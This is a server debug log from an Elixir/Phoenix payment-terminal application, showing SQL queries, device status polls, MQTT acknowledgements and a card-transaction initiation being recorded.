SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch261925438545", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:08:43.224000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=20.7ms queue=3.5ms idle=1370.7ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["failed", "received", ~N[2026-09-03 12:08:43], 4958]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 12:08:43.225000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch261925438545 updated to failed/received
[Thu Sep  3 12:08:43.281000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:54584] POST /api/device/status
[Thu Sep  3 12:08:43.282000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:54584] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:43.282000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:54584] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:43.283000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:54584] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:43.296000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54584] QUERY OK source="pos_transaction" db=12.8ms idle=1453.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:43.297000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54584] QUERY OK source="pos_temp_transaction" db=0.7ms queue=0.1ms idle=1467.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:43.301000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54584] QUERY OK source="pos_failed_transaction" db=3.6ms idle=1118.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:43.302000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:54584] QUERY OK source="cloud_transaction" db=0.5ms queue=0.1ms idle=471.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:43.303000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:54584] Sent 200 in 21ms
[Thu Sep  3 12:08:48.339000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57360] POST /api/device/status
[Thu Sep  3 12:08:48.340000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57360] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:48.340000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57360] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:48.340000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57360] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:48.356000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57360] QUERY OK source="pos_transaction" db=15.4ms idle=1495.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:48.358000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57360] QUERY OK source="pos_temp_transaction" db=1.3ms queue=0.1ms idle=1511.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:08:48.363000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57360] QUERY OK source="pos_failed_transaction" db=4.1ms idle=1513.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:08:48.364000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57360] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=1518.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:08:48.364000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57360] Sent 200 in 24ms
[Thu Sep  3 12:08:53.300000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57366] POST /api/device/status
[Thu Sep  3 12:08:53.301000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:57366] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:08:53.302000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57366] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch261925438545", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:08:53.302000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:57366] Transaction reference number: "ch261925438545"
[Thu Sep  3 12:08:53.318000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57366] QUERY OK source="pos_transaction" db=15.0ms idle=1457.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:08:53.321000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57366] QUERY OK source="pos_terminals" db=2.2ms queue=0.4ms idle=1473.3ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Thu Sep  3 12:08:53.322000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57366] QUERY OK source="brands" db=0.4ms idle=1476.3ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Thu Sep  3 12:08:53.323000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57366] QUERY OK source="user_metadata" db=1.0ms idle=1561.8ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Thu Sep  3 12:08:53.324000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:57366] QUERY OK source="cloud_transaction" db=0.5ms idle=1478.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch261925438545"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Thu Sep  3 12:08:53.325000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:57366] Sent 200 in 24ms
[Thu Sep  3 12:09:04.634000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch261925438545","money": "200.0", "status": "SUCCESS" }
[Thu Sep  3 12:09:04.634000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch261925438545: %{"money" => "200.0", "request_id" => "ch261925438545", "status" => "SUCCESS"}
[Thu Sep  3 12:09:04.635000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch261925438545 is success
[Thu Sep  3 12:09:04.646000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=9.0ms idle=1787.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch261925438545", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Thu Sep  3 12:09:04.702000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=48.3ms queue=7.1ms idle=1797.0ms
UPDATE `cloud_transaction` SET `status` = ?, `updated_at` = ? WHERE `id` = ? ["success", ~N[2026-09-03 12:09:04], 4958]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Thu Sep  3 12:09:04.702000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch261925438545 updated to success/received
[Thu Sep  3 12:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1850.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.0ms idle=1756.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 12:30:00.331000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.0ms idle=1312.7ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 12:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 12:30:00.970000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.4ms idle=1090.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 12:30:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 12:30:01.104000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=870.8ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 12:30:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 12:31:21.270000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.9:53018] GET /
[Thu Sep  3 12:31:21.270000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 85.217.149.9:53018] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 12:31:21.271000 2026] [Phoenix.Logger:info] [pid 2816631] [client 85.217.149.9:53018] Sent 200 in 1ms
[Thu Sep  3 12:34:02.677000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53050] POST /api/device/initiate
[Thu Sep  3 12:34:02.678000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53050] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch385254010714", "externalRefNumber2" => "8693698735", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:02.678000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53050] Processing card transaction for reference: ch385254010714
[Thu Sep  3 12:34:02.681000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="users" db=0.7ms idle=1632.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:02.684000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK source="custom_events" db=3.0ms idle=1633.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:02.685000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch385254010714"
Payload: %{
  username: "prasanna@dataaegis.com",
  amount: 150,
  account_label: "",
  app_key: "1234567897654",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch385254010714",
  external_ref_number_2: "8693698735",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "98250623730001"}
}

[Thu Sep  3 12:34:02.686000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53050] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    amount: 150,
    account_label: "",
    app_key: "1234567897654",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch385254010714",
    external_ref_number_2: "8693698735",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "98250623730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch385254010714",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:02.685365Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 12:34:02.687000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53050] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", amount: 150, account_label: "", app_key: "1234567897654", customer_mobile_number: "971501234567", external_ref_number: "ch385254010714", external_ref_number_2: "8693698735", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "98250623730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch385254010714", transaction_id: nil, date_added: ~U[2026-09-03 12:34:02.685365Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 12:34:02.746000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53050] QUERY OK db=59.2ms idle=1639.1ms
